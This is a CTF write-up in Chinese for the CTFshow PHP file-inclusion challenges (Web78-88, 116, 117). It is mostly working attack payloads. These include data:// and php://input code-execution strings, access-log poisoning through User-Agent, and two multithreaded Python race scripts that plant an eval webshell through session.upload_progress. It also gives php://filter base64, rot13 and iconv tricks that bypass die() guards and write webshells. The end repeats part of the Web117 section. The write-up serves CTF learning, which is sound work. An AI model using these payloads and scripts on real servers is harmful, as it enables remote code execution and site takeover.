CTFshow-文件包含(Web78-88,Web116,117)
CTFshow-文件包含(Web78-88,Web116,117)
Web78
- ?file=data:text/plain,<?php eval(system('ls'))?>
- ?file=data://text/plain,<?php system('tac flag.php');?>
- ?file=php://filter/read=convert.base64-encode/resource=flag.php
Web79
-
?file=data:text/plain,<?Php eval(system('ls'))?> 改大写
-
?file=data://text/plain,<?=system('ls');?>
-
?file=data://text/plain,<?Php system('tac flag.?hp');?>
-
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw== # <?php system(‘ls’); /?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= # <?php system(‘cat flag.php’);
-
?file=data://text/plain,<?= `tac f*`;?>
?file=data://text/plain,<?Php echo `tac f*`;?> # 可以无 ;
Web80
data也被过滤
-
?file=phP://input Post提交,burp手动添加<?Php system('ls')?> <?php system('tac fl0g.php')?>
或将mode改成raw
-
nginx日志的默认路径为/var/log/nginx. ssh日志的默认路径为/var/log/auth.log SSH服务如果开启了日志记录功能,会将SSH的连接日志记录到SSH日志文件中(题目是nginx日志)日志文件包含的漏洞的利用条件是:日志路径已知,并且有可读权限。日志文件的默认路径为上述 现在要将恶意代码写入日志文件
对于Apache,日志存放路径:/var/log/apache/access.log
对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log
中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。
不安全的 include($file),允许外部用户控制 $file 路径。 攻击者操纵的日志文件(例如 /var/log/nginx/access.log)中包含了PHP 代码,而当 PHP 解释器包含这个日志文件时,PHP 代码会被执行。
?file=/var/log/nginx/access.log User-Agent<?php system('cat fl0g.php');?>
Web81
?file=/var/log/nginx/access.log
User-Agent<?php system('cat fl0g.php');?>
Web82
session竞争包含:https://www.freebuf.com/vuls/202819.html
ctfshow web82:利用session.upload_progress进行文件包含 - r1kka - 博客园
原理:
条件竞争:例如,当打开一个文件时,就无法删除该文件。所以,只要在上传文件的瞬间访问它,服务器来不及执行删除操作,就无法删除该文件。
利用PHP中的session.upload_progress功能作为跳板,将恶意语句写入session文件,然后包含session文件。
接下来,需要知道session文件的存放位置。
题目中没有session_start(),但是可以通过自定义Session ID初始化Session。如,设置PHPSESSID=AAA,PHP将会在服务器上创建一个文件:/tmp/sess_AAA”,文件里存放了键值,键值由ini.get(“session.upload_progress.prefix”)+session.upload_progress.name值组成。
但因为默认配置session.upload_progress.cleanup = on(意思是当文件上传结束后,php将会立即清空对应session文件中的内容)。所以,我们文件上传后,session文件内容会被立即清空。这就要利用竞争,在session文件内容被清空前进行包含利用。
import requests
import io
import threadingurl='http://9a77fcb3-6f3c-4bd6-a247-07bfe6766509.challenge.ctf.show:8080/'
sessionid='ctfshow'
data={"1":"file_put_contents('/var/www/html/jiuzhen.php','<?php eval($_POST[3]);?>');"
}
#这个是访问/tmp/sess_ctfshow时,post传递的内容,是在网站目录下写入一句话木马。这样一旦访问成功,就可以蚁剑连接了。
def write(session):#/tmp/sess_ctfshow中写入一句话木马。fileBytes = io.BytesIO(b'a'*1024*50)while True:response=session.post(url,data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'},cookies={'PHPSESSID':sessionid},files={'file':('ctfshow.jpg',fileBytes)})def read(session):#访问/tmp/sess_ctfshow,post传递信息,在网站目录下写入木马。while True:response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,cookies={'PHPSESSID':sessionid})resposne2=session.get(url+'jiuzhen.php');#访问木马文件,如果访问到了就代表竞争成功if resposne2.status_code==200:了print('++++++done++++++')else:print(resposne2.status_code)if __name__ == '__main__':evnet=threading.Event()#写入和访问分别设置5个线程。with requests.session() as session:for i in range(5):threading.Thread(target=write,args=(session,)).start()for i in range(5):threading.Thread(target=read,args=(session,)).start()evnet.set()
常规版:
import io
import requests
import threading
sessid = 'jiuzhen'
data = {1:"system('cat fl0g.php');"}
url='http://9a77fcb3-6f3c-4bd6-a247-07bfe6766509.challenge.ctf.show:8080/'
def write(session):while True:f = io.BytesIO(b'a' * 1024 * 50)resp = session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>jiuzhen'}, files={'file': ('jiuzhen.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):while True:resp = session.post(url+'?file=/tmp/sess_'+sessid,data=data)if 'jiuzhen' in resp.text:print(resp.text)event.clear()else:print("[+++++++++++++]retry")
if __name__=="__main__":event=threading.Event()with requests.session() as session:for i in range(1,30): threading.Thread(target=write,args=(session,)).start()for i in range(1,30):threading.Thread(target=read,args=(session,)).start()event.set()
Web83
web83的开篇设置了session_unset();session_destroy();
ession_unset():释放当前在内存中已经创建的所有$SESSION变量,但不删除session文件以及不释放对应的。
session_destroy():删除当前用户对应的session文件以及释放sessionid,内存中的$_SESSION变量内容依然保留。
就是释放和清除了前面所有session变量和文件,但是我们的解题思路是竞争上传那一瞬间创建的session,所以不影响。
Web84
web84里,加上了一个system(rm -rf /tmp/*);
,因为本来session.upload_progress.cleanup = on,就会清空对应session文件中的内容,这里加上删除,对竞争的影响不大。(但是可能需要增加一些线程)
Web85
web85添加了一个内容识别,如果有<
就die,依旧可以竞争。
Web86
web86里,dirname(FILE)表示当前文件的绝对路径。set_include_path函数,是用来设置include的路径的,就是include()可以不提供文件的完整路径了。
include文件时,当包含路径既不是相对路径,也不是绝对路径时(如:include(“test.php”)),会先查找include_path所设置的目录。
脚本里用的是完整路径,不影响竞争。
Web87
<?php
if(isset($_GET['file'])){$file = $_GET['file'];$content = $_POST['content'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{highlight_file(__FILE__);
}
除了替换,新增 file_put_contents 函数,将会往 $file 里写入 <?php die('大佬别秀了');?> 和我们 post 传入的 $content 内容。
由于 $content 参数可控,因此我们可以写入恶意的 php 代码或者一句话木马,但是 <?php die('大佬别秀了');?> 这段 PHP 代码它会立即终止脚本执行并输出消息 “大佬别秀了”,因此我们还需要绕过这个 die() 函数。
注意看,传过去的 file 参数经过了 urldecode() 函数解码。所以 file 参数的内容要经过 url 编码再传递。同时网络传递时会对 url 编码的内容解一次码,所以需要对内容进行两次url编码。
另外,需要绕过 die() 函数。根据文章谈一谈php://filter的妙用 | 离别歌的妙用 ,可以有以下思路:
base64 编码范围是 0 ~ 9,a ~ z,A ~ Z,+,/ ,所以除了这些字符,其他字符都会被忽略。所以对于 <?php die('大佬别秀了');?> ,base64 编解码过滤之后就只有 phpdie 6个字符了,即可进行绕过。前面的 file 参数用 php://filter/write=convert.base64-encode 来解码写入,这样文件的 die() 就会被 base64 过滤,这样 die() 函数就绕过了。后面再拼接 base64 编码后的一句话木马或者 php 代码,被解码后刚好可以执行。由于 base64 是4个一组,而 phpdie 只有六个,所以要加两个字母凑足base64的格式。
php://filter/write=convert.base64-decode/resource=123.php
两次 url 编码:
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30
注意,不懂的别搞错了,这里是filter/write,而不是之前常用的read,别搞混了,这里是把后面的<?php die('大佬别秀了');?>+base64编码的字符解码后给123.php,我们访问后,这段代码就被执行了。
法一:
经测试,<?php system('ls');是合法的,而<?php system('ls');>和<?php system('ls');?>是不合法的,不知道为什么,希望大佬告知
<?php system('ls');
base64 编码:
PD9waHAgc3lzdGVtKCdscycpOw==
<?php system('tac f*.php');
base64 编码:
PD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7
法二:
直接传递一句话木马 <?=eval($_POST['666']);
。
<?=eval($_POST['hi']);
aaPD89ZXZhbCgkX1BPU1RbJ2hpJ10pOw==
法三:
ctf.show
?file=php://filter/write=string.rot13/resource=shell.php
content=<?cuc @riny($_TRG[1]);?>
<?php die('大佬别秀了');?> 经过 rot13 编码会变成 <?cuc qrv(); ?>,如果 php 未开启短标签,则不会认识这段代码,也就不会执行。content=<?cuc @riny($_TRG['pzq']);?>
该内容经过 rot13 编码就会变回正常的一句话木马
之后访问 sh.php,调用木马:
/sh.php?cmd=system('ls');
ctfshow-web入门-文件包含(web87)巧用 php://filter 流绕过死亡函数的三种方法_ctfshow web87-CSDN博客
Web88
<?php
if(isset($_GET['file'])){$file = $_GET['file'];if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){die("error");}include($file);
}else{highlight_file(__FILE__);
}
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTs 去掉=即可
Web116
是一个视频有点misc的味道
下载下来看看,010editor打开
发现png
选中这部分到结尾导出
以get方式给 file 传参进行文件包含,猜测是 flag.php,payload:
?file=flag.php
选择raw,exctue,然后看底下(跟burp差不多)
Web117
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){die('too young too simple sometimes naive!');}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
base64,data,rot13,string用不了了,其实还有其它方法
?filename=php://filter/convert.iconv.a.b/resource=check.php
其中a和b可选取下面的值
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
因为没有过滤这里的,我们随便选两种即可
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=hack.php
把一句话木马从 UCS-2LE 编码转换为 UCS-2BE 编码:
<?php
$re = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_GET[1]);?>');
echo $re;
?>
contents=?<hp pe@av(l_$EG[T]1;)>?
先ls再
2BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
因为没有过滤这里的,我们随便选两种即可```php
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=hack.php
把一句话木马从 UCS-2LE 编码转换为 UCS-2BE 编码:
<?php
$re = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_GET[1]);?>');
echo $re;
?>
contents=?<hp pe@av(l_$EG[T]1;)>?
先ls再
hack.php?1=system(‘tac flag.php’);